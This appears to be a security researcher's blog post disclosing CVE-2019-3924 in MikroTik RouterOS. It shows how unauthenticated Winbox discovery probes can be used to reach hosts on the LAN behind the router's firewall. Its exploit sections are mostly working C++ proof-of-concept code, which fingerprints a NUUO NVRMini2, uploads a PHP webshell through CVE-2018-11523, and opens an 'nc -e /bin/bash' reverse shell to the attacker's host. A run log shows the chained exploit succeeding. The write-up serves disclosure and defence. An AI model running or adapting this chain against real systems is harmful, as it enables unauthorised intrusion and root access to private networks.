CVE-2019–3924 is the result of the router not enforcing authentication on network discovery probes. Under normal circumstances, The Dudeauthenticates with the router and uploads the probes over the Winbox port. However, one of the binaries that handles the probes (agent) fails to verify whether the remote user is authenticated.

Probes are a fairly simple concept. A probe is a set of variables that tells the router how to talk to a host on a given port. The probe supports up to three requests and responses. Responses are matched against a provided regular expression. The following is the builtin HTTP probe.

The HTTP probe sends a HEAD request to port 80 and checks if the response starts with “HTTP/1.”

In order to bypass the firewall and talk to the NVRMini2 from, the attacker just needs to provide the router with a probe that connects to The obvious question is, “How do you determine if a LAN host is an NVRMini2?”

The NVRMini2 and the various OEM variations all have very similar landing page titles.

Using the title tag, you can construct a probe that detects an NVRMini2. The following is taken from my proof on concept on GitHub. I’ve again used my WinboxMessage implementation.

bool find_nvrmini2(Winbox_Session& session,
std::string& p_address,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port)
WinboxMessage msg;
msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
msg.add_string(8, "Network Video Recorder Login</title>");
msg.add_u32(3, p_converted_address); // ip address
msg.add_u32(4, p_converted_port); // port
    if (!session.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
return false;
    if (msg.has_error())
std::cerr << msg.get_error_string() << std::endl;
return false;
    return msg.get_boolean(0xd);

You can see I constructed a probe that sends an HTTP GET request and looks for “Network Video Recorder Login</title>” in the response. The router,, will take in this probe and send it to the host I’ve defined in msg.add_u32(3) and msg.add_u32(4). In this case, that would be and 80 respectively. This logic bypasses the normal firewall rules.

The following screenshot shows the attacker ( using the probe against (Ubuntu 18.04) and (NVRMini2). You can see that the attacker can’t even ping these devices. However, by using the router’s Winbox interface the attacker is able to reach the LAN hosts.

Discovery of the NVRMini2 on the supposedly unreachable LAN is neat, but I want to go a step further. I want to gain full access to this network. Let’s find a way to exploit the NVRMini2.

Crafting an Exploit

The biggest issue with probes is the size limit. The requests and response regular expressions can’t exceed a combined 220 bytes. That means any exploit will have to be concise. My NVRMini2 stack buffer overflow is anything but concise. It takes 170 bytes just to overflow the cookie buffer. Not leaving room for much else. But CVE-2018–11523 looks promising.

The code CVE-2018–11523 exploits. Yup.

CVE-2018–11523 is an unauthenticated file upload vulnerability. An attacker can use it to upload a PHP webshell. The proof of concept on exploit-db is 461 characters. Way too big. However, with a little ingenuity it can be reduced to 212 characters.

POST /upload.php HTTP/1.1
<?php system($_GET['a']);?>

This exploit creates a minimalist PHP webshell at a.php. Translating it into a probe request is fairly trivial.

bool upload_webshell(Winbox_Session& session,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port)
WinboxMessage msg;
msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);
msg.add_u32(4, p_converted_port);
    if (!session.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
return false;
    if (msg.has_error())
std::cerr << msg.get_error_string() << std::endl;
return false;
    return msg.get_boolean(0xd);

Sending the above probe request through the router to should create a basic PHP webshell.

Crafting a Reverse Shell

At this point you could start blindly executing commands on the NVR using the webshell. But being unable to see responses and constantly having to worry about the probe’s size restriction is annoying. Establishing a reverse shell back to the attacker’s box on is a far more ideal solution.

Now, it seems to me that there is little reason for an embedded system to have nc with the -e option. Reason rarely seems to have a role in these types of things though. The NVRMini2 is no exception. Of course, nc -e is available.

bool execute_reverse_shell(Winbox_Session& session,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port,
std::string& p_reverse_ip,
std::string& p_reverse_port)
WinboxMessage msg;
msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);
msg.add_u32(4, p_converted_port);
    if (!session.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
return false;
    if (msg.has_error())
std::cerr << msg.get_error_string() << std::endl;
return false;
    return msg.get_boolean(0xd);

The probe above executes the command “nc 1270 -e /bin/bash” via the webshell at a.php. The nc command will connect back to the attacker’s box with a root shell.

Putting It All Together

I’ve combined the three sections above into a single exploit. The exploit connects to the router, sends a discovery probe to a LAN target, uploads a webshell, and executes a reverse shell back to a WAN host.

albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip --proxy_port 8291 --target_ip --target_port 80 --listening_ip --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at
[+] Connected!
[+] Looking for a NUUO NVR at
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to
[+] Done!

The listener gets the root shell as expected.


I found this bug while scrambling to write a blog to respond to a Zerodium tweet. I was not actively doing MikroTik research. Honestly, I’m just trying to get ready for BSidesDublin. What are the people actually doing MikroTik research finding? Are they turning their bugs over to MikroTik (for nothing) or are they selling those bugs to Zerodium?

Do I have to spell it out for you?

Don’t expose Winbox to the internet.